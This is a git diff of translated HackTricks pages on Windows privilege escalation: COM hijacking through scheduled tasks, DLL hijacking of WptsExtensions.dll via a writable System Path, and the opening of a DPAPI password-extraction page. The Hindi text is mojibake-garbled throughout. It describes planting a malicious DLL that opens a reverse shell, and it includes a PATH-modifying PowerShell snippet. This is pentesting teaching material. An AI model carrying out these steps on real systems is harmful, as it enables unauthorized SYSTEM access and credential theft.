рд╣реЛрдВрдЧреЗред +Windows Tasks Custom Triggers рдХрд╛ рдЙрдкрдпреЛрдЧ COM рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЪреВрдВрдХрд┐ рдЗрдиреНрд╣реЗрдВ Task Scheduler рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдпреЗ рдХрдм рдЯреНрд░рд┐рдЧрд░ рд╣реЛрдВрдЧреЗред
# Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,9 +49,9 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]
-рдЖрдЙрдЯрдкреБрдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╕рдордп, рдЖрдк рдПрдХ рдРрд╕рд╛ рдЪрдпрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **рд╣рд░ рдмрд╛рд░ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рдХрд░рддрд╛ рд╣реИ** рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдПред +рдЖрдЙрдЯрдкреБрдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╕рдордп, рдЖрдк рдПрдХ рдРрд╕рд╛ рдЪрдпрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **рд╣рд░ рдмрд╛рд░ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рдХрд░рддрд╛ рд╣реИ** рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рд╣реИред -рдЕрдм **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** рдФрд░ HKLM рдФрд░ HKCU рдореЗрдВ CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** рдХреА рдЦреЛрдЬ рдХрд░рддреЗ рд╕рдордп, рдЖрдк рдЖрдорддреМрд░ рдкрд░ рдкрд╛рдПрдВрдЧреЗ рдХрд┐ рдпрд╣ рдорд╛рди HKCU рдореЗрдВ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИред +рдЕрдм **HKEY\CLASSES\ROOT\CLSID** рдФрд░ HKLM рдФрд░ HKCU рдореЗрдВ CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** рдХреА рдЦреЛрдЬ рдХрд░рддреЗ рд╕рдордп, рдЖрдк рдЖрдорддреМрд░ рдкрд░ рдкрд╛рдПрдВрдЧреЗ рдХрд┐ рдпрд╣ рдорд╛рди HKCU рдореЗрдВ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИред ```bash # Exists in HKCR\CLSID\ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md index 782300abe..566524e40 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -4,9 +4,9 @@ ## Introduction -рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк **System Path рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ** (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк User Path рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛) рддреЛ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк **system рдореЗрдВ privileges рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред +рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк **System Path рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ** (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рддрдм рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ рдЬрдм рдЖрдк User Path рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ) рддреЛ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк **system рдореЗрдВ privileges рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред -рдЗрд╕рдХреЗ рд▓рд┐рдП рдЖрдк **Dll Hijacking** рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ рдЖрдк рдПрдХ **library рдХреЛ рд╣рд╛рдЗрдЬреИрдХ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ** рдЬрд┐рд╕реЗ рдПрдХ рд╕реЗрд╡рд╛ рдпрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ **рдЖрдкрд╕реЗ рдЕрдзрд┐рдХ privileges** рдХреЗ рд╕рд╛рде рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рдФрд░ рдЪреВрдВрдХрд┐ рд╡рд╣ рд╕реЗрд╡рд╛ рдПрдХ Dll рд▓реЛрдб рдХрд░ рд░рд╣реА рд╣реИ рдЬреЛ рд╢рд╛рдпрдж рдкреВрд░реЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ, рдпрд╣ рдЗрд╕реЗ рдЙрд╕ System Path рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧреА рдЬрд╣рд╛рдБ рдЖрдк рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред +рдЗрд╕рдХреЗ рд▓рд┐рдП рдЖрдк **Dll Hijacking** рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ рдЖрдк рдПрдХ **library рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ** рдЬрд┐рд╕реЗ рдПрдХ рд╕реЗрд╡рд╛ рдпрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ **рдЖрдкрд╕реЗ рдЕрдзрд┐рдХ privileges** рдХреЗ рд╕рд╛рде рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рдФрд░ рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣ рд╕реЗрд╡рд╛ рдПрдХ Dll рд▓реЛрдб рдХрд░ рд░рд╣реА рд╣реИ рдЬреЛ рд╢рд╛рдпрдж рдкреВрд░реЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдореМрдЬреВрдж рднреА рдирд╣реАрдВ рд╣реИ, рдпрд╣ рдЗрд╕реЗ рдЙрд╕ System Path рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧреА рдЬрд╣рд╛рдБ рдЖрдк рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред **Dll Hijacking рдХреНрдпрд╛ рд╣реИ** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: @@ -23,7 +23,7 @@ рдЗрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рд╢рд╛рдпрдж рд╡реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЪрд▓ рд░рд╣реА рд╣реИрдВред рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреМрди рд╕реА Dlls рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ рдХрдореА рд╣реИ, рдЖрдкрдХреЛ рдЬрд┐рддрдиреА рдЬрд▓реНрджреА рд╣реЛ рд╕рдХреЗ procmon рд▓реЙрдиреНрдЪ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ (рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рд▓реЛрдб рд╣реЛрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ)ред рдЗрд╕рд▓рд┐рдП, рдХрдореА рд╡рд╛рд▓реА .dlls рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВ: - **Create** рдХрд░реЗрдВ рдлрд╝реЛрд▓реНрдбрд░ `C:\privesc_hijacking` рдФрд░ **System Path env variable** рдореЗрдВ рдкрде `C:\privesc_hijacking` рдЬреЛрдбрд╝реЗрдВред рдЖрдк рдЗрд╕реЗ **рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ** рдпрд╛ **PS** рдХреЗ рд╕рд╛рде рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -```powershell +```bash # Set the folder path to create and check events for $folderPath = "C:\privesc_hijacking" @@ -42,18 +42,18 @@ $newPath = "$envPath;$folderPath" - **`procmon`** рд▓реЙрдиреНрдЪ рдХрд░реЗрдВ рдФрд░ **`Options`** --> **`Enable boot logging`** рдкрд░ рдЬрд╛рдПрдВ рдФрд░ рдкреНрд░реЙрдореНрдкреНрдЯ рдореЗрдВ **`OK`** рджрдмрд╛рдПрдВред - рдлрд┐рд░, **рд░реАрдмреВрдЯ** рдХрд░реЗрдВред рдЬрдм рдХрдВрдкреНрдпреВрдЯрд░ рдкреБрдирдГ рдЪрд╛рд▓реВ рд╣реЛрдЧрд╛, **`procmon`** рдШрдЯрдирд╛рдУрдВ рдХреЛ ASAP **рд░рд┐рдХреЙрд░реНрдб рдХрд░рдирд╛** рд╢реБрд░реВ рдХрд░ рджреЗрдЧрд╛ред - рдПрдХ рдмрд╛рд░ рдЬрдм **Windows** **рд╢реБрд░реВ рд╣реЛ рдЬрд╛рдП, `procmon`** рдХреЛ рдлрд┐рд░ рд╕реЗ рдЪрд▓рд╛рдПрдВ, рдпрд╣ рдЖрдкрдХреЛ рдмрддрд╛рдПрдЧрд╛ рдХрд┐ рдпрд╣ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдФрд░ **рдЖрдкрд╕реЗ рдкреВрдЫреЗрдЧрд╛ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдШрдЯрдирд╛рдУрдВ рдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ**ред **рд╣рд╛рдБ** рдХрд╣реЗрдВ рдФрд░ **рдШрдЯрдирд╛рдУрдВ рдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░реЗрдВ**ред -- **рдлрд╛рдЗрд▓** **рдЬрдирд░реЗрдЯ** рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдЦреБрд▓реЗ рд╣реБрдП **`procmon`** рд╡рд┐рдВрдбреЛ рдХреЛ **рдмрдВрдж** рдХрд░реЗрдВ рдФрд░ **рдШрдЯрдирд╛рдУрдВ рдХреА рдлрд╝рд╛рдЗрд▓** рдЦреЛрд▓реЗрдВред -- рдпреЗ **рдлрд┐рд▓реНрдЯрд░** рдЬреЛрдбрд╝реЗрдВ рдФрд░ рдЖрдк рд╕рднреА Dlls рдкрд╛рдПрдВрдЧреЗ рдЬреЛ рдХреБрдЫ **рдкреНрд░реЛрд╕реЗрд╕ рдиреЗ writable System Path рдлрд╝реЛрд▓реНрдбрд░** рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА: +- **рдлрд╛рдЗрд▓** **рдЬрдирд░реЗрдЯ** рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдЦреЛрд▓реЗ рд╣реБрдП **`procmon`** рд╡рд┐рдВрдбреЛ рдХреЛ **рдмрдВрдж** рдХрд░реЗрдВ рдФрд░ **рдШрдЯрдирд╛рдУрдВ рдХреА рдлрд╝рд╛рдЗрд▓** рдЦреЛрд▓реЗрдВред +- рдпреЗ **рдлрд┐рд▓реНрдЯрд░** рдЬреЛрдбрд╝реЗрдВ рдФрд░ рдЖрдк рд╕рднреА Dlls рдкрд╛рдПрдВрдЧреЗ рдЬреЛ рдХреБрдЫ **рдкреНрд░реЛрд╕реЗрд╕ рдиреЗ Writable System Path рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА**:
-### рдЫреВрдЯреЗ рд╣реБрдП Dlls +### рдорд┐рд╕реНрдб Dlls -рдПрдХ рдореБрдлреНрдд **рд╡рд░реНрдЪреБрдЕрд▓ (vmware) Windows 11 рдорд╢реАрди** рдкрд░ рдЗрд╕реЗ рдЪрд▓рд╛рдиреЗ рдкрд░ рдореБрдЭреЗ рдпреЗ рдкрд░рд┐рдгрд╛рдо рдорд┐рд▓реЗ: +рдПрдХ рдореБрдлреНрдд **рд╡рд░реНрдЪреБрдЕрд▓ (vmware) Windows 11 рдорд╢реАрди** рдореЗрдВ рдЗрд╕реЗ рдЪрд▓рд╛рдиреЗ рдкрд░ рдореБрдЭреЗ рдпреЗ рдкрд░рд┐рдгрд╛рдо рдорд┐рд▓реЗ:
-рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ .exe рдмреЗрдХрд╛рд░ рд╣реИрдВ рдЗрд╕рд▓рд┐рдП рдЙрдиреНрд╣реЗрдВ рдирдЬрд░рдЕрдВрджрд╛рдЬ рдХрд░реЗрдВ, рдЫреВрдЯреЗ рд╣реБрдП DLLs рдереЗ: +рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ .exe рдмреЗрдХрд╛рд░ рд╣реИрдВ рдЗрд╕рд▓рд┐рдП рдЙрдиреНрд╣реЗрдВ рдирдЬрд░рдЕрдВрджрд╛рдЬ рдХрд░реЗрдВ, рдорд┐рд╕реНрдб DLLs рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реЗ рдереАрдВ: | рд╕реЗрд╡рд╛ | Dll | CMD рд▓рд╛рдЗрди | | ------------------------------- | ------------------ | -------------------------------------------------------------------- | @@ -65,18 +65,18 @@ $newPath = "$envPath;$folderPath" ### рд╢реЛрд╖рдг -рддреЛ, **рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рд╣рдо рд▓рд╛рдЗрдмреНрд░реЗрд░реА **WptsExtensions.dll** рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред **рдкрде** рдФрд░ **рдирд╛рдо** рд╣реЛрдиреЗ рдХреЗ рд╕рд╛рде, рд╣рдореЗрдВ рдмрд╕ **рджреБрд╖реНрдЯ dll** **рдЬрдирд░реЗрдЯ** рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред +рддреЛ, **рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рд╣рдо **WptsExtensions.dll** рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред **рдкрде** рдФрд░ **рдирд╛рдо** рд╣реЛрдиреЗ рдХреЗ рд╕рд╛рде, рд╣рдореЗрдВ рдмрд╕ **рджреБрд╖реНрдЯ dll** **рдЬрдирд░реЗрдЯ** рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЖрдк [**рдЗрди рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**](#creating-and-compiling-dlls)ред рдЖрдк рдкреЗ рд▓реЛрдб рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ: рдПрдХ рд░рд┐рд╡ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬреЛрдбрд╝реЗрдВ, рдПрдХ рдмреАрдХрди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ... > [!WARNING] -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рд╕рднреА рд╕реЗрд╡рд╛рдПрдВ** **`NT AUTHORITY\SYSTEM`** рдХреЗ рд╕рд╛рде **рдирд╣реАрдВ рдЪрд▓рддреАрдВ**, рдХреБрдЫ **`NT AUTHORITY\LOCAL SERVICE`** рдХреЗ рд╕рд╛рде рднреА рдЪрд▓рддреА рд╣реИрдВ, рдЬрд┐рдирдХреЗ рдкрд╛рд╕ **рдХрдо рдЕрдзрд┐рдХрд╛рд░** рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЖрдк **рдирдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рдЗрд╕рдХреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред\ +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рд╕рднреА рд╕реЗрд╡рд╛рдПрдВ** **`NT AUTHORITY\SYSTEM`** рдХреЗ рд╕рд╛рде **рдирд╣реАрдВ рдЪрд▓рддреАрдВ**, рдХреБрдЫ **`NT AUTHORITY\LOCAL SERVICE`** рдХреЗ рд╕рд╛рде рднреА рдЪрд▓рддреА рд╣реИрдВ, рдЬрд┐рдирдХреЗ рдкрд╛рд╕ **рдХрдо рдЕрдзрд┐рдХрд╛рд░** рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЖрдк **рдирдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╣реАрдВ рдмрдирд╛ рдкрд╛рдПрдВрдЧреЗ** рдФрд░ рдЗрд╕рдХреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред\ > рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ **`seImpersonate`** рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдк [**рдкреЛрдЯреИрдЯреЛ рд╕реВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ**](../roguepotato-and-printspoofer.md)ред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдПрдХ рд░рд┐рд╡ рд╢реЗрд▓ рдПрдХ рдмреЗрд╣рддрд░ рд╡рд┐рдХрд▓реНрдк рд╣реИ рдмрдЬрд╛рдп рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдиреЗ рдХреЗред рд▓реЗрдЦрди рдХреЗ рд╕рдордп **рдЯрд╛рд╕реНрдХ рд╢реЗрдбреНрдпреВрд▓рд░** рд╕реЗрд╡рд╛ **Nt AUTHORITY\SYSTEM** рдХреЗ рд╕рд╛рде рдЪрд▓ рд░рд╣реА рд╣реИред -**рджреБрд╖реНрдЯ Dll** (_рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдореИрдВрдиреЗ x64 рд░рд┐рд╡ рд╢реЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдФрд░ рдореБрдЭреЗ рдПрдХ рд╢реЗрд▓ рд╡рд╛рдкрд╕ рдорд┐рд▓рд╛ рд▓реЗрдХрд┐рди рдбрд┐рдлреЗрдВрдбрд░ рдиреЗ рдЗрд╕реЗ рдорд╛рд░ рджрд┐рдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ msfvenom рд╕реЗ рдерд╛_) рдХреЛ writable System Path рдореЗрдВ **WptsExtensions.dll** рдирд╛рдо рд╕реЗ рд╕рд╣реЗрдЬреЗрдВ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ **рд░реАрд╕реНрдЯрд╛рд░реНрдЯ** рдХрд░реЗрдВ (рдпрд╛ рд╕реЗрд╡рд╛ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд░реЗрдВ рдпрд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рд╕реЗрд╡рд╛/рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдлрд┐рд░ рд╕реЗ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рднреА рдХрд░рдирд╛ рд╣реЛ)ред +**рджреБрд╖реНрдЯ Dll** (_рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдореИрдВрдиреЗ x64 рд░рд┐рд╡ рд╢реЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдФрд░ рдореБрдЭреЗ рдПрдХ рд╢реЗрд▓ рд╡рд╛рдкрд╕ рдорд┐рд▓рд╛ рд▓реЗрдХрд┐рди рдбрд┐рдлреЗрдВрдбрд░ рдиреЗ рдЗрд╕реЗ рдорд╛рд░ рджрд┐рдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ msfvenom рд╕реЗ рдерд╛_) рдХреЛ Writable System Path рдореЗрдВ **WptsExtensions.dll** рдирд╛рдо рд╕реЗ рд╕рд╣реЗрдЬреЗрдВ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ **рд░реАрд╕реНрдЯрд╛рд░реНрдЯ** рдХрд░реЗрдВ (рдпрд╛ рд╕реЗрд╡рд╛ рдХреЛ рдкреБрдирдГ рдЪрд╛рд▓реВ рдХрд░реЗрдВ рдпрд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рд╕реЗрд╡рд╛/рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдлрд┐рд░ рд╕реЗ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рднреА рдХрд░рдирд╛ рд╣реЛ)ред -рдЬрдм рд╕реЗрд╡рд╛ рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рд╣реЛрддреА рд╣реИ, рддреЛ **dll рдХреЛ рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП** (рдЖрдк **procmon** рдЯреНрд░рд┐рдХ рдХрд╛ **рдкреБрдирдГ рдЙрдкрдпреЛрдЧ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ **рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЕрдкреЗрдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд▓реЛрдб рд╣реБрдИ рдереА**)ред +рдЬрдм рд╕реЗрд╡рд╛ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ, рддреЛ **dll рдХреЛ рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП** (рдЖрдк **procmon** рдЯреНрд░рд┐рдХ рдХрд╛ **рдкреБрдирдГ рдЙрдкрдпреЛрдЧ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ **рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЕрдкреЗрдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд▓реЛрдб рд╣реБрдИ рдереА**)ред {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md index 0c0b8502c..566bdf52c 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md @@ -6,52 +6,33 @@ ## What is DPAPI -Data Protection API (DPAPI) рдореБрдЦреНрдп рд░реВрдк рд╕реЗ Windows рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рднреАрддрд░ **рдЕрд╕рд╛рдорд╛рдиреНрдп рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд╕рдордорд┐рдд рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рд╕рд┐рд╕реНрдЯрдо рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдПрдВрдЯреНрд░реЙрдкреА рдХреЗ рд╕реНрд░реЛрдд рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рд▓рд┐рдП рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓реЙрдЧрд┐рди рд░рд╣рд╕реНрдпреЛрдВ рд╕реЗ рдирд┐рдХрд╛рд▓реА рдЧрдИ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛, рд╕рд┐рд╕реНрдЯрдо рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд▓рд┐рдП, рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдбреЛрдореЗрди рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд░рд╣рд╕реНрдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА 